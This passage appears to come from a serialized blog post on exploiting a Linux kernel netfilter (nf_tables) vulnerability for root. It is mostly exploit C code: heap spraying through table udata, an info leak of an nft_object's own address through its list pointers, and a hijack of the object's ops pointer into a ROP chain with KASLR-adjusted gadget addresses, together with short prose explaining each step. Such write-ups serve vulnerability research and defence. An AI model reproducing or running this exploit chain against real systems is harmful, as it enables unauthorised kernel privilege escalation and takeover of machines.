:56626,"children":56627},{"class":1534,"line":1629},[56628],{"type":22,"tag":264,"props":56629,"children":56630},{"style":1539},[56631],{"type":27,"value":1566},{"type":22,"tag":264,"props":56633,"children":56634},{"class":1534,"line":1642},[56635,56640,56645,56650,56655,56660],{"type":22,"tag":264,"props":56636,"children":56637},{"style":4401},[56638],{"type":27,"value":56639},"        snprintf",{"type":22,"tag":264,"props":56641,"children":56642},{"style":1539},[56643],{"type":27,"value":56644},"(spray_name, ",{"type":22,"tag":264,"props":56646,"children":56647},{"style":4293},[56648],{"type":27,"value":56649},"sizeof",{"type":22,"tag":264,"props":56651,"children":56652},{"style":1539},[56653],{"type":27,"value":56654},"(spray_name), ",{"type":22,"tag":264,"props":56656,"children":56657},{"style":1597},[56658],{"type":27,"value":56659},"\"spray-%i\"",{"type":22,"tag":264,"props":56661,"children":56662},{"style":1539},[56663],{"type":27,"value":56664},", i);\n",{"type":22,"tag":264,"props":56666,"children":56667},{"class":1534,"line":1660},[56668,56673,56677,56681,56686],{"type":22,"tag":264,"props":56669,"children":56670},{"style":1549},[56671],{"type":27,"value":56672},"        udata",{"type":22,"tag":264,"props":56674,"children":56675},{"style":1539},[56676],{"type":27,"value":55917},{"type":22,"tag":264,"props":56678,"children":56679},{"style":4309},[56680],{"type":27,"value":429},{"type":22,"tag":264,"props":56682,"children":56683},{"style":4401},[56684],{"type":27,"value":56685}," getudata",{"type":22,"tag":264,"props":56687,"children":56688},{"style":1539},[56689],{"type":27,"value":56690},"(nl, spray_name);\n",{"type":22,"tag":264,"props":56692,"children":56693},{"class":1534,"line":1668},[56694],{"type":22,"tag":264,"props":56695,"children":56696},{"style":1539},[56697],{"type":27,"value":1674},{"type":22,"tag":264,"props":56699,"children":56700},{"class":1534,"line":1677},[56701,56705,56709,56713,56717,56721,56725,56729,56733,56737,56742,56746,56750,56754,56758],{"type":22,"tag":264,"props":56702,"children":56703},{"style":4328},[56704],{"type":27,"value":13578},{"type":22,"tag":264,"props":56706,"children":56707},{"style":1539},[56708],{"type":27,"value":4370},{"type":22,"tag":264,"props":56710,"children":56711},{"style":1549},[56712],{"type":27,"value":56420},{"type":22,"tag":264,"props":56714,"children":56715},{"style":1539},[56716],{"type":27,"value":5045},{"type":22,"tag":264,"props":56718,"children":56719},{"style":4344},[56720],{"type":27,"value":5334},{"type":22,"tag":264,"props":56722,"children":56723},{"style":1539},[56724],{"type":27,"value":50278},{"type":22,"tag":264,"props":56726,"children":56727},{"style":4344},[56728],{"type":27,"value":5334},{"type":22,"tag":264,"props":56730,"children":56731},{"style":1539},[56732],{"type":27,"value":9956},{"type":22,"tag":264,"props":56734,"children":56735},{"style":4309},[56736],{"type":27,"value":9870},{"type":22,"tag":264,"props":56738,"children":56739},{"style":1549},[56740],{"type":27,"value":56741}," udata",{"type":22,"tag":264,"props":56743,"children":56744},{"style":1539},[56745],{"type":27,"value":5045},{"type":22,"tag":264,"props":56747,"children":56748},{"style":4344},[56749],{"type":27,"value":3568},{"type":22,"tag":264,"props":56751,"children":56752},{"style":1539},[56753],{"type":27,"value":50278},{"type":22,"tag":264,"props":56755,"children":56756},{"style":4344},[56757],{"type":27,"value":5334},{"type":22,"tag":264,"props":56759,"children":56760},{"style":1539},[56761],{"type":27,"value":56762},"])\n",{"type":22,"tag":264,"props":56764,"children":56765},{"class":1534,"line":1686},[56766],{"type":22,"tag":264,"props":56767,"children":56768},{"style":1539},[56769],{"type":27,"value":1566},{"type":22,"tag":264,"props":56771,"children":56772},{"class":1534,"line":4948},[56773,56778,56782,56787],{"type":22,"tag":264,"props":56774,"children":56775},{"style":4401},[56776],{"type":27,"value":56777},"        puts",{"type":22,"tag":264,"props":56779,"children":56780},{"style":1539},[56781],{"type":27,"value":2660},{"type":22,"tag":264,"props":56783,"children":56784},{"style":1597},[56785],{"type":27,"value":56786},"\"[+] got duplicated table\"",{"type":22,"tag":264,"props":56788,"children":56789},{"style":1539},[56790],{"type":27,"value":5142},{"type":22,"tag":264,"props":56792,"children":56793},{"class":1534,"line":4957},[56794],{"type":22,"tag":264,"props":56795,"children":56796},{"style":1539},[56797],{"type":27,"value":1674},{"type":22,"tag":264,"props":56799,"children":56800},{"class":1534,"line":4980},[56801],{"type":22,"tag":264,"props":56802,"children":56803},{"emptyLinePlaceholder":17},[56804],{"type":27,"value":4986},{"type":22,"tag":264,"props":56806,"children":56807},{"class":1534,"line":4989},[56808],{"type":22,"tag":264,"props":56809,"children":56810},{"style":4284},[56811],{"type":27,"value":56812},"    // Replace one of the udata buffers with nft_object\n",{"type":22,"tag":264,"props":56814,"children":56815},{"class":1534,"line":4998},[56816],{"type":22,"tag":264,"props":56817,"children":56818},{"style":4284},[56819],{"type":27,"value":56820},"    // and read it's counterpart to leak the nft_object struct\n",{"type":22,"tag":264,"props":56822,"children":56823},{"class":1534,"line":5067},[56824,56829,56833,56838],{"type":22,"tag":264,"props":56825,"children":56826},{"style":4401},[56827],{"type":27,"value":56828},"    puts",{"type":22,"tag":264,"props":56830,"children":56831},{"style":1539},[56832],{"type":27,"value":2660},{"type":22,"tag":264,"props":56834,"children":56835},{"style":1597},[56836],{"type":27,"value":56837},"\"[*] Info leak\"",{"type":22,"tag":264,"props":56839,"children":56840},{"style":1539},[56841],{"type":27,"value":5142},{"type":22,"tag":264,"props":56843,"children":56844},{"class":1534,"line":5075},[56845,56850,56855,56859,56863,56867],{"type":22,"tag":264,"props":56846,"children":56847},{"style":4401},[56848],{"type":27,"value":56849},"    deludata_spray",{"type":22,"tag":264,"props":56851,"children":56852},{"style":1539},[56853],{"type":27,"value":56854},"(nl, ",{"type":22,"tag":264,"props":56856,"children":56857},{"style":4344},[56858],{"type":27,"value":5334},{"type":22,"tag":264,"props":56860,"children":56861},{"style":1539},[56862],{"type":27,"value":4380},{"type":22,"tag":264,"props":56864,"children":56865},{"style":4344},[56866],{"type":27,"value":602},{"type":22,"tag":264,"props":56868,"children":56869},{"style":1539},[56870],{"type":27,"value":5142},{"type":22,"tag":264,"props":56872,"children":56873},{"class":1534,"line":5105},[56874,56879],{"type":22,"tag":264,"props":56875,"children":56876},{"style":4401},[56877],{"type":27,"value":56878},"    wait_destroyer",{"type":22,"tag":264,"props":56880,"children":56881},{"style":1539},[56882],{"type":27,"value":4977},{"type":22,"tag":264,"props":56884,"children":56885},{"class":1534,"line":5113},[56886,56891,56895,56899,56903,56907,56911,56915,56919,56923],{"type":22,"tag":264,"props":56887,"children":56888},{"style":4401},[56889],{"type":27,"value":56890},"    obj_spray",{"type":22,"tag":264,"props":56892,"children":56893},{"style":1539},[56894],{"type":27,"value":56854},{"type":22,"tag":264,"props":56896,"children":56897},{"style":4344},[56898],{"type":27,"value":5334},{"type":22,"tag":264,"props":56900,"children":56901},{"style":1539},[56902],{"type":27,"value":4380},{"type":22,"tag":264,"props":56904,"children":56905},{"style":4344},[56906],{"type":27,"value":602},{"type":22,"tag":264,"props":56908,"children":56909},{"style":1539},[56910],{"type":27,"value":4380},{"type":22,"tag":264,"props":56912,"children":56913},{"style":4293},[56914],{"type":27,"value":55817},{"type":22,"tag":264,"props":56916,"children":56917},{"style":1539},[56918],{"type":27,"value":4380},{"type":22,"tag":264,"props":56920,"children":56921},{"style":4344},[56922],{"type":27,"value":5334},{"type":22,"tag":264,"props":56924,"children":56925},{"style":1539},[56926],{"type":27,"value":5142},{"type":22,"tag":264,"props":56928,"children":56929},{"class":1534,"line":5145},[56930,56935,56939,56944,56948,56952,56957,56961,56965,56970,56974,56979],{"type":22,"tag":264,"props":56931,"children":56932},{"style":4293},[56933],{"type":27,"value":56934},"    uint64_t",{"type":22,"tag":264,"props":56936,"children":56937},{"style":4309},[56938],{"type":27,"value":11115},{"type":22,"tag":264,"props":56940,"children":56941},{"style":1539},[56942],{"type":27,"value":56943},"fake_obj ",{"type":22,"tag":264,"props":56945,"children":56946},{"style":4309},[56947],{"type":27,"value":429},{"type":22,"tag":264,"props":56949,"children":56950},{"style":1539},[56951],{"type":27,"value":4370},{"type":22,"tag":264,"props":56953,"children":56954},{"style":4293},[56955],{"type":27,"value":56956},"uint64_t",{"type":22,"tag":264,"props":56958,"children":56959},{"style":4309},[56960],{"type":27,"value":11115},{"type":22,"tag":264,"props":56962,"children":56963},{"style":1539},[56964],{"type":27,"value":2806},{"type":22,"tag":264,"props":56966,"children":56967},{"style":4401},[56968],{"type":27,"value":56969},"getudata",{"type":22,"tag":264,"props":56971,"children":56972},{"style":1539},[56973],{"type":27,"value":56854},{"type":22,"tag":264,"props":56975,"children":56976},{"style":1597},[56977],{"type":27,"value":56978},"\"spray-2\"",{"type":22,"tag":264,"props":56980,"children":56981},{"style":1539},[56982],{"type":27,"value":5142},{"type":22,"tag":264,"props":56984,"children":56985},{"class":1534,"line":5153},[56986],{"type":22,"tag":264,"props":56987,"children":56988},{"style":1539},[56989],{"type":27,"value":11616},{"type":22,"tag":181,"props":56991,"children":56993},{"id":56992},"leaking-self-pointer-of-nft_object",[56994,56996],{"type":27,"value":56995},"Leaking self pointer of ",{"type":22,"tag":257,"props":56997,"children":56999},{"className":56998},[],[57000],{"type":27,"value":56435},{"type":22,"tag":23,"props":57002,"children":57003},{},[57004,57006,57011,57013,57018,57020,57025,57027,57033],{"type":27,"value":57005},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":22,"tag":257,"props":57007,"children":57009},{"className":57008},[],[57010],{"type":27,"value":56435},{"type":27,"value":57012}," to get its own address. This is possible because the ",{"type":22,"tag":257,"props":57014,"children":57016},{"className":57015},[],[57017],{"type":27,"value":56435},{"type":27,"value":57019}," has a ",{"type":22,"tag":257,"props":57021,"children":57023},{"className":57022},[],[57024],{"type":27,"value":56420},{"type":27,"value":57026}," pointer (similar to ",{"type":22,"tag":257,"props":57028,"children":57030},{"className":57029},[],[57031],{"type":27,"value":57032},"table->udata",{"type":27,"value":57034}," that I used for leaking KASLR), that I can use to read/write data.",{"type":22,"tag":23,"props":57036,"children":57037},{},[57038,57039,57044,57046,57052,57054,57059,57061,57066,57068,57074,57076,57081,57083,57088,57090,57095,57097],{"type":27,"value":17914},{"type":22,"tag":257,"props":57040,"children":57042},{"className":57041},[],[57043],{"type":27,"value":56435},{"type":27,"value":57045}," struct also contains a ",{"type":22,"tag":257,"props":57047,"children":57049},{"className":57048},[],[57050],{"type":27,"value":57051},"list_head",{"type":27,"value":57053}," inserted in a circular list containing all ",{"type":22,"tag":257,"props":57055,"children":57057},{"className":57056},[],[57058],{"type":27,"value":56435},{"type":27,"value":57060},"'s that belong to a given ",{"type":22,"tag":257,"props":57062,"children":57064},{"className":57063},[],[57065],{"type":27,"value":35},{"type":27,"value":57067},". Considering that our object is currently alone in its table, the ",{"type":22,"tag":257,"props":57069,"children":57071},{"className":57070},[],[57072],{"type":27,"value":57073},"table->list.next",{"type":27,"value":57075}," pointer in the ",{"type":22,"tag":257,"props":57077,"children":57079},{"className":57078},[],[57080],{"type":27,"value":56435},{"type":27,"value":57082}," will point back to the ",{"type":22,"tag":257,"props":57084,"children":57086},{"className":57085},[],[57087],{"type":27,"value":57051},{"type":27,"value":57089}," contained in the ",{"type":22,"tag":257,"props":57091,"children":57093},{"className":57092},[],[57094],{"type":27,"value":35},{"type":27,"value":57096}," and vice-versa.\n",{"type":22,"tag":215,"props":57098,"children":57100},{"alt":51899,"src":57099},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":22,"tag":23,"props":57102,"children":57103},{},[57104,57106,57111,57113,57118,57120,57126,57128,57133,57134,57139,57141,57146,57148,57153],{"type":27,"value":57105},"In short, that means that if we swap the ",{"type":22,"tag":257,"props":57107,"children":57109},{"className":57108},[],[57110],{"type":27,"value":56420},{"type":27,"value":57112}," pointer of the ",{"type":22,"tag":257,"props":57114,"children":57116},{"className":57115},[],[57117],{"type":27,"value":56435},{"type":27,"value":57119}," with its own ",{"type":22,"tag":257,"props":57121,"children":57123},{"className":57122},[],[57124],{"type":27,"value":57125},"list.next",{"type":27,"value":57127}," pointer we should be able to read a pointer back to the ",{"type":22,"tag":257,"props":57129,"children":57131},{"className":57130},[],[57132],{"type":27,"value":56435},{"type":27,"value":53660},{"type":22,"tag":257,"props":57135,"children":57137},{"className":57136},[],[57138],{"type":27,"value":57051},{"type":27,"value":57140}," which is also the start of the ",{"type":22,"tag":257,"props":57142,"children":57144},{"className":57143},[],[57145],{"type":27,"value":56435},{"type":27,"value":57147}," itself.\n",{"type":22,"tag":242,"props":57149,"children":57150},{},[57151],{"type":27,"value":57152},"NOTE:",{"type":27,"value":57154}," This is a novel small trick.",{"type":22,"tag":618,"props":57156,"children":57158},{"className":30424,"code":57157,"language":30426,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[57159],{"type":22,"tag":257,"props":57160,"children":57161},{"__ignoreMap":7},[57162,57169,57177,57190,57238,57265,57276,57314,57321,57350,57380],{"type":22,"tag":264,"props":57163,"children":57164},{"class":1534,"line":1535},[57165],{"type":22,"tag":264,"props":57166,"children":57167},{"style":1539},[57168],{"type":27,"value":11616},{"type":22,"tag":264,"props":57170,"children":57171},{"class":1534,"line":1545},[57172],{"type":22,"tag":264,"props":57173,"children":57174},{"style":1539},[57175],{"type":27,"value":57176},"    // Leak nft_object ptr using table linked list\n",{"type":22,"tag":264,"props":57178,"children":57179},{"class":1534,"line":1560},[57180,57185],{"type":22,"tag":264,"props":57181,"children":57182},{"style":1539},[57183],{"type":27,"value":57184},"    fake_obj[8] = 8;",{"type":22,"tag":264,"props":57186,"children":57187},{"style":4284},[57188],{"type":27,"value":57189},"           // ulen = 8\n",{"type":22,"tag":264,"props":57191,"children":57192},{"class":1534,"line":1569},[57193,57198,57202,57207,57211,57215,57220,57224,57228,57233],{"type":22,"tag":264,"props":57194,"children":57195},{"style":1549},[57196],{"type":27,"value":57197},"    fake_obj",{"type":22,"tag":264,"props":57199,"children":57200},{"style":1539},[57201],{"type":27,"value":5045},{"type":22,"tag":264,"props":57203,"children":57204},{"style":4344},[57205],{"type":27,"value":57206},"9",{"type":22,"tag":264,"props":57208,"children":57209},{"style":1539},[57210],{"type":27,"value":9956},{"type":22,"tag":264,"props":57212,"children":57213},{"style":4309},[57214],{"type":27,"value":429},{"type":22,"tag":264,"props":57216,"children":57217},{"style":1549},[57218],{"type":27,"value":57219}," fake_obj",{"type":22,"tag":264,"props":57221,"children":57222},{"style":1539},[57223],{"type":27,"value":5045},{"type":22,"tag":264,"props":57225,"children":57226},{"style":4344},[57227],{"type":27,"value":5334},{"type":22,"tag":264,"props":57229,"children":57230},{"style":1539},[57231],{"type":27,"value":57232},"];",{"type":22,"tag":264,"props":57234,"children":57235},{"style":4284},[57236],{"type":27,"value":57237}," // udata = list->next\n",{"type":22,"tag":264,"props":57239,"children":57240},{"class":1534,"line":1583},[57241,57245,57249,57253,57257,57261],{"type":22,"tag":264,"props":57242,"children":57243},{"style":4401},[57244],{"type":27,"value":56849},{"type":22,"tag":264,"props":57246,"children":57247},{"style":1539},[57248],{"type":27,"value":56854},{"type":22,"tag":264,"props":57250,"children":57251},{"style":4344},[57252],{"type":27,"value":3568},{"type":22,"tag":264,"props":57254,"children":57255},{"style":1539},[57256],{"type":27,"value":4380},{"type":22,"tag":264,"props":57258,"children":57259},{"style":4344},[57260],{"type":27,"value":602},{"type":22,"tag":264,"props":57262,"children":57263},{"style":1539},[57264],{"type":27,"value":5142},{"type":22,"tag":264,"props":57266,"children":57267},{"class":1534,"line":1603},[57268,57272],{"type":22,"tag":264,"props":57269,"children":57270},{"style":4401},[57271],{"type":27,"value":56878},{"type":22,"tag":264,"props":57273,"children":57274},{"style":1539},[57275],{"type":27,"value":4977},{"type":22,"tag":264,"props":57277,"children":57278},{"class":1534,"line":1612},[57279,57284,57288,57293,57297,57301,57305,57309],{"type":22,"tag":264,"props":57280,"children":57281},{"style":4401},[57282],{"type":27,"value":57283},"    udata_spray",{"type":22,"tag":264,"props":57285,"children":57286},{"style":1539},[57287],{"type":27,"value":56854},{"type":22,"tag":264,"props":57289,"children":57290},{"style":4344},[57291],{"type":27,"value":57292},"0xe8",{"type":22,"tag":264,"props":57294,"children":57295},{"style":1539},[57296],{"type":27,"value":4380},{"type":22,"tag":264,"props":57298,"children":57299},{"style":4344},[57300],{"type":27,"value":18598},{"type":22,"tag":264,"props":57302,"children":57303},{"style":1539},[57304],{"type":27,"value":4380},{"type":22,"tag":264,"props":57306,"children":57307},{"style":4344},[57308],{"type":27,"value":602},{"type":22,"tag":264,"props":57310,"children":57311},{"style":1539},[57312],{"type":27,"value":57313},", fake_obj);\n",{"type":22,"tag":264,"props":57315,"children":57316},{"class":1534,"line":1621},[57317],{"type":22,"tag":264,"props":57318,"children":57319},{"emptyLinePlaceholder":17},[57320],{"type":27,"value":4986},{"type":22,"tag":264,"props":57322,"children":57323},{"class":1534,"line":1629},[57324,57329,57333,57338,57342,57346],{"type":22,"tag":264,"props":57325,"children":57326},{"style":4401},[57327],{"type":27,"value":57328},"    get_obj",{"type":22,"tag":264,"props":57330,"children":57331},{"style":1539},[57332],{"type":27,"value":56854},{"type":22,"tag":264,"props":57334,"children":57335},{"style":1597},[57336],{"type":27,"value":57337},"\"spray-0\"",{"type":22,"tag":264,"props":57339,"children":57340},{"style":1539},[57341],{"type":27,"value":4380},{"type":22,"tag":264,"props":57343,"children":57344},{"style":4293},[57345],{"type":27,"value":273},{"type":22,"tag":264,"props":57347,"children":57348},{"style":1539},[57349],{"type":27,"value":5142},{"type":22,"tag":264,"props":57351,"children":57352},{"class":1534,"line":1642},[57353,57358,57362,57367,57371,57375],{"type":22,"tag":264,"props":57354,"children":57355},{"style":4401},[57356],{"type":27,"value":57357},"    printf",{"type":22,"tag":264,"props":57359,"children":57360},{"style":1539},[57361],{"type":27,"value":2660},{"type":22,"tag":264,"props":57363,"children":57364},{"style":1597},[57365],{"type":27,"value":57366},"\"[*] nft_object ptr: 0x%lx",{"type":22,"tag":264,"props":57368,"children":57369},{"style":49693},[57370],{"type":27,"value":49696},{"type":22,"tag":264,"props":57372,"children":57373},{"style":1597},[57374],{"type":27,"value":21366},{"type":22,"tag":264,"props":57376,"children":57377},{"style":1539},[57378],{"type":27,"value":57379},", obj_ptr);\n",{"type":22,"tag":264,"props":57381,"children":57382},{"class":1534,"line":1660},[57383],{"type":22,"tag":264,"props":57384,"children":57385},{"style":1539},[57386],{"type":27,"value":11616},{"type":22,"tag":181,"props":57388,"children":57390},{"id":57389},"hijacking-control-flow",[57391],{"type":27,"value":57392},"Hijacking control-flow",{"type":22,"tag":23,"props":57394,"children":57395},{},[57396,57398,57403,57405,57410,57412,57417,57419,57424,57426,57431,57433],{"type":27,"value":57397},"To hijack control-flow, we can use ",{"type":22,"tag":257,"props":57399,"children":57401},{"className":57400},[],[57402],{"type":27,"value":56435},{"type":27,"value":57404}," once again. The ",{"type":22,"tag":257,"props":57406,"children":57408},{"className":57407},[],[57409],{"type":27,"value":56435},{"type":27,"value":57411}," struct has an ",{"type":22,"tag":257,"props":57413,"children":57415},{"className":57414},[],[57416],{"type":27,"value":53991},{"type":27,"value":57418}," pointer to a function pointer table. We can swap the ",{"type":22,"tag":257,"props":57420,"children":57422},{"className":57421},[],[57423],{"type":27,"value":53991},{"type":27,"value":57425}," pointer with the ",{"type":22,"tag":257,"props":57427,"children":57429},{"className":57428},[],[57430],{"type":27,"value":56420},{"type":27,"value":57432}," pointer, taking control of the pointer table.\n",{"type":22,"tag":215,"props":57434,"children":57436},{"alt":51899,"src":57435},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":22,"tag":618,"props":57438,"children":57440},{"className":30424,"code":57439,"language":30426,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[57441],{"type":22,"tag":257,"props":57442,"children":57443},{"__ignoreMap":7},[57444,57451,57459,57483,57530,57566,57573,57581,57613,57621,57629,57650,57658,57666,57730,57737,57745,57753,57760,57768,57802,57810,57817,57825,57832,57840,57873,57894],{"type":22,"tag":264,"props":57445,"children":57446},{"class":1534,"line":1535},[57447],{"type":22,"tag":264,"props":57448,"children":57449},{"style":1539},[57450],{"type":27,"value":11616},{"type":22,"tag":264,"props":57452,"children":57453},{"class":1534,"line":1545},[57454],{"type":22,"tag":264,"props":57455,"children":57456},{"style":1539},[57457],{"type":27,"value":57458},"    // Fake ops\n",{"type":22,"tag":264,"props":57460,"children":57461},{"class":1534,"line":1560},[57462,57467,57471,57475,57479],{"type":22,"tag":264,"props":57463,"children":57464},{"style":1539},[57465],{"type":27,"value":57466},"    uint64_t *rop = calloc(29, ",{"type":22,"tag":264,"props":57468,"children":57469},{"style":4722},[57470],{"type":27,"value":56649},{"type":22,"tag":264,"props":57472,"children":57473},{"style":1539},[57474],{"type":27,"value":2660},{"type":22,"tag":264,"props":57476,"children":57477},{"style":4293},[57478],{"type":27,"value":56956},{"type":22,"tag":264,"props":57480,"children":57481},{"style":1539},[57482],{"type":27,"value":8516},{"type":22,"tag":264,"props":57484,"children":57485},{"class":1534,"line":1569},[57486,57491,57495,57499,57503,57507,57512,57516,57521,57525],{"type":22,"tag":264,"props":57487,"children":57488},{"style":1549},[57489],{"type":27,"value":57490},"    rop",{"type":22,"tag":264,"props":57492,"children":57493},{"style":1539},[57494],{"type":27,"value":5045},{"type":22,"tag":264,"props":57496,"children":57497},{"style":4344},[57498],{"type":27,"value":5334},{"type":22,"tag":264,"props":57500,"children":57501},{"style":1539},[57502],{"type":27,"value":9956},{"type":22,"tag":264,"props":57504,"children":57505},{"style":4309},[57506],{"type":27,"value":429},{"type":22,"tag":264,"props":57508,"children":57509},{"style":1539},[57510],{"type":27,"value":57511}," kaslr_slide ",{"type":22,"tag":264,"props":57513,"children":57514},{"style":4309},[57515],{"type":27,"value":673},{"type":22,"tag":264,"props":57517,"children":57518},{"style":4344},[57519],{"type":27,"value":57520}," 0xffffffff81988647",{"type":22,"tag":264,"props":57522,"children":57523},{"style":1539},[57524],{"type":27,"value":50394},{"type":22,"tag":264,"props":57526,"children":57527},{"style":4284},[57528],{"type":27,"value":57529}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":22,"tag":264,"props":57531,"children":57532},{"class":1534,"line":1583},[57533,57537,57541,57545,57549,57553,57557,57561],{"type":22,"tag":264,"props":57534,"children":57535},{"style":1549},[57536],{"type":27,"value":57490},{"type":22,"tag":264,"props":57538,"children":57539},{"style":1539},[57540],{"type":27,"value":5045},{"type":22,"tag":264,"props":57542,"children":57543},{"style":4344},[57544],{"type":27,"value":3568},{"type":22,"tag":264,"props":57546,"children":57547},{"style":1539},[57548],{"type":27,"value":9956},{"type":22,"tag":264,"props":57550,"children":57551},{"style":4309},[57552],{"type":27,"value":429},{"type":22,"tag":264,"props":57554,"children":57555},{"style":1539},[57556],{"type":27,"value":57511},{"type":22,"tag":264,"props":57558,"children":57559},{"style":4309},[57560],{"type":27,"value":673},{"type":22,"tag":264,"props":57562,"children":57563},{"style":1539},[57564],{"type":27,"value":57565}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":22,"tag":264,"props":57567,"children":57568},{"class":1534,"line":1603},[57569],{"type":22,"tag":264,"props":57570,"children":57571},{"style":1539},[57572],{"type":27,"value":11616},{"type":22,"tag":264,"props":57574,"children":57575},{"class":1534,"line":1612},[57576],{"type":22,"tag":264,"props":57577,"children":57578},{"style":1539},[57579],{"type":27,"value":57580},"    // Send ROP in object udata\n",{"type":22,"tag":264,"props":57582,"children":57583},{"class":1534,"line":1621},[57584,57589,57593,57598,57603,57608],{"type":22,"tag":264,"props":57585,"children":57586},{"style":1539},[57587],{"type":27,"value":57588},"    del_obj(",{"type":22,"tag":264,"props":57590,"children":57591},{"style":4722},[57592],{"type":27,"value":55611},{"type":22,"tag":264,"props":57594,"children":57595},{"style":1539},[57596],{"type":27,"value":57597},", \"",{"type":22,"tag":264,"props":57599,"children":57600},{"style":4722},[57601],{"type":27,"value":57602},"spray",{"type":22,"tag":264,"props":57604,"children":57605},{"style":1539},[57606],{"type":27,"value":57607},"-0",{"type":22,"tag":264,"props":57609,"children":57610},{"style":1597},[57611],{"type":27,"value":57612},"\");\n",{"type":22,"tag":264,"props":57614,"children":57615},{"class":1534,"line":1629},[57616],{"type":22,"tag":264,"props":57617,"children":57618},{"style":1597},[57619],{"type":27,"value":57620},"    wait_destroyer();\n",{"type":22,"tag":264,"props":57622,"children":57623},{"class":1534,"line":1642},[57624],{"type":22,"tag":264,"props":57625,"children":57626},{"style":1597},[57627],{"type":27,"value":57628},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":22,"tag":264,"props":57630,"children":57631},{"class":1534,"line":1660},[57632,57637,57641,57646],{"type":22,"tag":264,"props":57633,"children":57634},{"style":1597},[57635],{"type":27,"value":57636},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":22,"tag":264,"props":57638,"children":57639},{"style":4293},[57640],{"type":27,"value":57602},{"type":22,"tag":264,"props":57642,"children":57643},{"style":1539},[57644],{"type":27,"value":57645},"-3",{"type":22,"tag":264,"props":57647,"children":57648},{"style":1597},[57649],{"type":27,"value":57612},{"type":22,"tag":264,"props":57651,"children":57652},{"class":1534,"line":1668},[57653],{"type":22,"tag":264,"props":57654,"children":57655},{"style":1597},[57656],{"type":27,"value":57657},"    DumpHex(fake_obj, 0xe8);\n",{"type":22,"tag":264,"props":57659,"children":57660},{"class":1534,"line":1677},[57661],{"type":22,"tag":264,"props":57662,"children":57663},{"style":1597},[57664],{"type":27,"value":57665},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":22,"tag":264,"props":57667,"children":57668},{"class":1534,"line":1686},[57669,57674,57678,57682,57686,57691,57696,57701,57705,57710,57715,57720,57725],{"type":22,"tag":264,"props":57670,"children":57671},{"style":1597},[57672],{"type":27,"value":57673},"    printf(\"",{"type":22,"tag":264,"props":57675,"children":57676},{"style":1539},[57677],{"type":27,"value":5045},{"type":22,"tag":264,"props":57679,"children":57680},{"style":4309},[57681],{"type":27,"value":5865},{"type":22,"tag":264,"props":57683,"children":57684},{"style":1539},[57685],{"type":27,"value":9956},{"type":22,"tag":264,"props":57687,"children":57688},{"style":4722},[57689],{"type":27,"value":57690},"ROP",{"type":22,"tag":264,"props":57692,"children":57693},{"style":4722},[57694],{"type":27,"value":57695}," addr",{"type":22,"tag":264,"props":57697,"children":57698},{"style":1539},[57699],{"type":27,"value":57700},": 0",{"type":22,"tag":264,"props":57702,"children":57703},{"style":4722},[57704],{"type":27,"value":20581},{"type":22,"tag":264,"props":57706,"children":57707},{"style":1539},[57708],{"type":27,"value":57709},"%",{"type":22,"tag":264,"props":57711,"children":57712},{"style":4722},[57713],{"type":27,"value":57714},"lx",{"type":22,"tag":264,"props":57716,"children":57717},{"style":1539},[57718],{"type":27,"value":57719},"\\",{"type":22,"tag":264,"props":57721,"children":57722},{"style":4722},[57723],{"type":27,"value":57724},"n",{"type":22,"tag":264,"props":57726,"children":57727},{"style":1597},[57728],{"type":27,"value":57729},"\", rop_addr);\n",{"type":22,"tag":264,"props":57731,"children":57732},{"class":1534,"line":4948},[57733],{"type":22,"tag":264,"props":57734,"children":57735},{"emptyLinePlaceholder":17},[57736],{"type":27,"value":4986},{"type":22,"tag":264,"props":57738,"children":57739},{"class":1534,"line":4957},[57740],{"type":22,"tag":264,"props":57741,"children":57742},{"style":1597},[57743],{"type":27,"value":57744},"    // Point to fake ops\n",{"type":22,"tag":264,"props":57746,"children":57747},{"class":1534,"line":4980},[57748],{"type":22,"tag":264,"props":57749,"children":57750},{"style":1597},[57751],{"type":27,"value":57752},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":22,"tag":264,"props":57754,"children":57755},{"class":1534,"line":4989},[57756],{"type":22,"tag":264,"props":57757,"children":57758},{"style":1597},[57759],{"type":27,"value":11616},{"type":22,"tag":264,"props":57761,"children":57762},{"class":1534,"line":4998},[57763],{"type":22,"tag":264,"props":57764,"children":57765},{"style":1597},[57766],{"type":27,"value":57767},"    // Write ROP\n",{"type":22,"tag":264,"props":57769,"children":57770},{"class":1534,"line":5067},[57771,57776,57780,57784,57788,57793,57798],{"type":22,"tag":264,"props":57772,"children":57773},{"style":1597},[57774],{"type":27,"value":57775},"    